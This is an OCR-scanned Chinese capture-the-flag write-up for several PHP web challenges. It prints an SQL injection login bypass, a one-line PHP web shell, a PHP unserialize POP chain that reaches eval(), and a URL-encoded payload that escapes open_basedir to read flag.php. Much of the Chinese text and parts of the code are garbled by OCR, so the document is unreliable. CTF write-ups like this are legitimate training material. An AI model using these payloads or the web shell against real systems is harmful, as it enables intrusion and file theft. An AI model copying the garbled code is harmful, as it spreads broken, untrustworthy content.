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@ 111.33.164.4:10001
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param s id )

(2) ZE—TF: ?id=1"

param is id :)
Username:admin
Password:./25d99be830ad95b02f6f82235¢c8edcf7.php
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(3) Uiz, I kA I tokentE A S HBI W,

GET -
/25d99be830ad95b02f6f82235cBedcf7. php?token=1DJB71ADQF56K600000020P)
RKVBSSED HTTP/1.1

Host: 111.33.164.6:10001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; n.66.0) Gecko/20100101
Firefox/66.0

Accept: text/htmlapplication/xhtml+xml.application/xmlq=0.9,*/*,q=0.8
Accept-Language:

zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en,q=0.2

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 2
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AP&E: admin
Eil:

| Login

(2) X—BLLBmR, Skbr bR 77 R iR AT B ftradminik % .

HTTP/1.1 200 OK

Date: Wed, 28 Aug 2019 05:28:17 GMT
Server: Apache/2.4.7 (Ubuntu)
¥-Powered-By: PHP/5.5.9-1ubuntu4.24
Content-Length: 38

Connection: close

Content-Type: text/html

flag{a10c2149cb9862412bdac75bf85253d8}

Z33PR: S T*. =. and. or. from. select. union. insert. updateZs, BB SNIESHE.

FEN G EsqiEAI M BEAN: select * form xxx where password = (“$password’);

FRAEHZEEN: 1°) || username like ‘admin’-- (BEBEINTH)

BEJEN: ... where password =(€1°) || username='admin' --
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(1) AHF1R 3 log/

(2) VT, W LAE#EE Flaccess.loglt) % :

= G @ Few | 111331646

Index of /log

Name Last modified Size Description
J Parent Directory -
I_?j access.log 2019-08-28 06:34 25M
[?) errorlog 2019-08-28 06:33 1.1M

Apaches/2.4. 7 (Ubuntu) Server at 171.33.164.6 Port 10005

(3) fEaccess.logH &R Kkidflag, KIFENagishere B3, Vil BEKCHE, FH & #tokenBl T,

L& TV WED JLEEOCY. P MLIFS 1.0 SUU J0W3E DL FLURENENE T FLe. L WOELLIA D, U \RLNUURE N1 LWL U RUMUM; DV .S VT LeCROY VLIV

33535 «0000] “CET /imp/release. svg HTTP L. 17 200 964 “hutg 10 3+ 1000 * "Mozilla/s 0 indows XT 10.0 Wed: rv:52.00 Geck

4:12 -0000] “CE b1d21 3¢ ceecc30b3ch24. pho ™

TR : B SSRFHFH#IN 1 + gopherti i B A M I Struts2, & B3 RIFHIRS ALK T, BRB\EAEH...
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%, FP&MELEIYouguess, (HSEPR EIRATEEY) WA TN,

<script language="javascript™>
function check(){
var value = document.getElementByld( "txt1 *).value;
if(tisRightFormat(value)){
alert("HAFEDESR! )
return false;

}

if(!hasRepeatNum(value)){
alert("HPsEEBER! ")
return false;

}
document.write(' <center><br/><a

href="./151912db206ee052.php ">Welcome to you</a>’);
}

function isRightFormat (input){
return /Youguess$/.test(input);
}

function hasRepeatNum(input){
return f\'ouguessﬂ.‘test[input);

}

(2) V71H./151912db206ee052.php, TH _EFR T BRI iR EILinuxFH I1R6? "X A)1ELLSL, BAREMAERER, TREE
A R o

Linux T BIvim#&e 48 23 7E JF IE IR I 0L T 2 B 34 liswpJE R &40 S0, B T Bb R O Toik @i, et (38 mT BUIE I 3 B2
S EE T HMBUR, X IRBREF R R .

(3) FRUIN xxx/.151912db206ee052.php.swp F &I, FHiBT@w4S vi -r [xH2] #HITKE.

(4) #HHAEmT:



<?php

error_reporting(0);

class First{

function firstlevel(){

$a="whoami';
extract($_GET);
$fname = $_GET[ 'fname']?$ GET['fname']:'./js/ctf.js’;
$content=trim(file_get_contents($fname));
if($a==%$content)

{
echo 'ok';;
else
{
echo '"MrAREILInuXFHRIIEE? *;
)

b

$execfirst = new First();
$execfirst -> firstlevel();
?>

FIFHBR—: PHPEAPM——php:/input, ATLAMJIE: ?fname=php://input , FHPOSTH#E: whoami

FABTRZ: BEEZ—extract(), EREF $a==$content BATHIAZIMBLE:, Friliyi&payload: ?2a=& fname=lethe

b -
TRUE FALSE 1 0 -1 i g = NULL array()  “php" ™

TRUE TRUE FALSE TRUE FALSE TRUE TRUE FALSE TRUE FALSE FALSE TRUE FALSE
FALSE FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE TRUE FALSE TRUE
1 TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
(1] FALSE TRUE FALSE TRUE FALSE FALSE TRUE FALSE TRUE FALSE TRUE TRUE
-1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
o TRUE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE
0= FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE
=1 TRUE FALSE FALSE FALSE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
NULL FALSE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE TRUE FALSE TRUE
ur.ran‘J FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE
“php" TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE
= FALSE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE TRUE

(5) E—RERIh&Rit)E, S#ANB—A AR, Bl A2 SR ERE T EESCHRESR, BXSCHER ST Feval().
system(). phpinfo()& 2 REGHAT THM, FrDAE#— B S0 g getshel 2 AT HI .

fuzz+fiii, RILATCA_EAEntmIE RIS HE, B2 LAERmISCHB 2 Ve, FEAREMNTH A FphpfRHg.
ERurlF RIS EE file=xoooxxx XNSH, RBREXHEEHEE KR,

111.33.164.6:10003/2d019a311aaa30427 .php?refer=df53ca268240ca76670c8566ee54568a8it=20190828&dtype= computeréifile-: 3?9?689haaahc?eb}thash?%6:G 3069224b41b8c7dbdea35aBaabb3dac

PR KR http://111.33.164.6:10003/3792689baaabc7eb A B EhE— 4 LA, BNEEXHLE.

FREENMICHFRIN A AN: <2php $F = $_GET[F]; $F($_GET[s]); ?>



EfEJE, BourldhfileSEHI{E, file=upload/xxxxxxxx (EAEWXHEEZ, EEXMBESR) , REHENHENESE, B
getshell,

I\
KRN GERT, —ESRRHREELE. .

(D #ANFRATREE, RAE—welcome, REFHKIEZ .phps L HEBIT:

<?php
// flag.php in /var/html/www

error_reporting(9);
class Test{
protected $careful;
public $securuty;
public function _ wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
¥

¥
public function __ get($name){

return $this->securuty[$name];

¥

public function _ call($paraml,$param2){
if($this->{$paraml}){

eval('$a="'.$_GET[ 'dangerous'].';");

¥

¥

¥

class User{
public $user;
public function _ wakeup(){
$this->user=new Welcome();
$this->user->say_hello();
}
}
$a=serialize(new User);
$string=$ GET[ 'foo']??%a;
unserialize($string);
?>

(2) BEHTR-ERFIWHEE T, ERPRRT SFAFphpinfolINE, TRAEIMES EHATphpinfo().

ALAER, XBARGELE XHEE, thiEkE E X WelcomeZt, {HRZHAEUserds B L6I4L T Welcome2g, T LR iZ% & phpinfo
BRI T 5 R .

FrLL, FEphpinfol A T .



<?php
class Test{
protected $careful;
public function _ construct()
{
$this->careful = 1;
)
)
$a=new Test;
echo urlencode(serialize($%$a));
?>

(3) R —RIRIEBIE _BAE, WT:

<?php
class Welcome{
public function say hello(){
echo "welcome<br>";

}

class Welcome_again{

public $willing ;

public $action ; //action=new Test;

public function __ construct(){
$this->action=new Welcome;

¥

public function _ destruct(){
if($this->willing){

$this->action->say _hello();

?>

BAFHIERE, MQWB2019fjupload If— B E A%,

Welcome_again => __ destruct
Test => __call

Test => _ get

eval()

FIA AT -



<?php
class Welcome_again{

public $willing ;

public $action ;

public function _ construct(){
$this->action = new Test();
$this->willing = 1; // Lf LB

)

public function _ destruct(){
if($this->willing){

$this->action->say_hello(); //#§/HTest:: _call

}

class Test{
protected $careful;
public $securuty;
public function __ construct()

{
$this->securuty = ['say_hello' => 1];
$this->careful = 0;
¥
public function __ get($name){
return $this->securuty[$name]; // 1B [A]1
¥
public function _ call($paraml,$param2){ //paramli=say hello
if($this->{$parami}){ //ifHTest::__get
//eval('$a=".$ GET[ 'dangerous']."';"');
¥
¥

}

$a = new Welcome_again();

echo urlencode(serialize($a));
?>

2 F|payload:

?
f00=0%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3B0%3A4%3A%22Test
%22%3M2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%
22%3B1i%3A1%3B%7D%7D%7D

B} @it dangerousS5ifE A4, EREM ; WA RTEMREIES.
(4) BJaTEiEflag & iF15 3% Ebypass open_basedir.

A LL&%:. MPHPJKJZEF open-basedir-bypass


https://skysec.top/2019/04/12/%25E4%25BB%258EPHP%25E5%25BA%2595%25E5%25B1%2582%25E7%259C%258Bopen-basedir-bypass/

B EEiE—EM T ik open_basedir

XEEMABLAIGENRE, REANTELMERIBETLL .. Hini_set
HEEREFIRME

#iH{T—Nopen_basedirfi9tk3d, EDphp_check_open_basedir_ex, HFIEF1ZEMEEE, &R
open_basedirfU#hEE#RS Lok,

Hetn#lifopen_basedira/albleld

& —xehdirf52=H/alblc,

£~ rehdirfS2=hial,

£ =iRehdirS3h/a,

EPRchdirfSgEh,

BRAIXFHES#TIn_set, @%Fopen_basedirA/ENT]i@idphp_check_open_basedir_exfUi:ls, AEIHEES,
S¥#FAi1o] i bypass open_basedir,

B % payload:

?
f00=0%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3B0%3A4%3A%22Test
%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%
22%3Bi%3A1%3B%7D%7D%7D&dangerous=1;chdir('/tmp");mkdir("sky");chdir('sky"');ini_set('open_basedir',"'..");chdir(".
.")s;chdir("..");chdir(".. ");chdir("..");ini_set('open_basedir','/");echo(file_get_contents('/var/www/flag.php'))
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